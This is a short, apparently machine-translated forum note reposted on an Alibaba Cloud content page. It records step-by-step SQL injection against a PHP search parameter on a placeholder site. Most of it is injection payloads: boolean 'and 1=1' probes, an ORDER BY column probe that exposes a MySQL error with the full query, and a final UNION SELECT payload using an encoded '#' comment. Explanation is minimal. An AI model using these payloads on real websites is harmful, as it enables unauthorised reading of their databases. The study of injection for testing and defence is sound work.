Mysql + php search injection problem records

Source: Internet
Author: User

Http://xxx.com/search.php? Dy = a % and 1 = 1 -- Error
Http://xxx.com/search.php? Dy = a % and 1 = 2 -- Error

Http://xxx.com/search.php? Dy = a % and 1 = 1 and % = normal
Http://xxx.com/search.php? Dy = a % and 1 = 2 and % = Error

How can I construct a statement for order by or union query?

Http://xxx.com/search.php? Dy = a % and 1 = 2 order by xx and % = the error message is displayed ..

Info: MySQL Query Error

Time:
Script:

SQL: SELECT U_Id, U_Yxdm, U_Show, U_Name, u_Num FROM j_user WHERE U_Type = 3 AND U_Show> 0 AND (U_Yxdm = a % and 1 = 2 order by 20 and % = OR U_Name LIKE % a % and 1 = 2 order by 20 and % = %) order by U_Num ASC
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near order by 20 and % = OR U_Name LIKE % a % and 1 = 2 order by 20 and % = %) ORD at line 1
Errno.: 1064

 

Use % 23
Http://xxx.com/search.php? Dy = x) union select 1, 2, 4, 5% 23

X) union select 1, 2, 4, 5 #

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.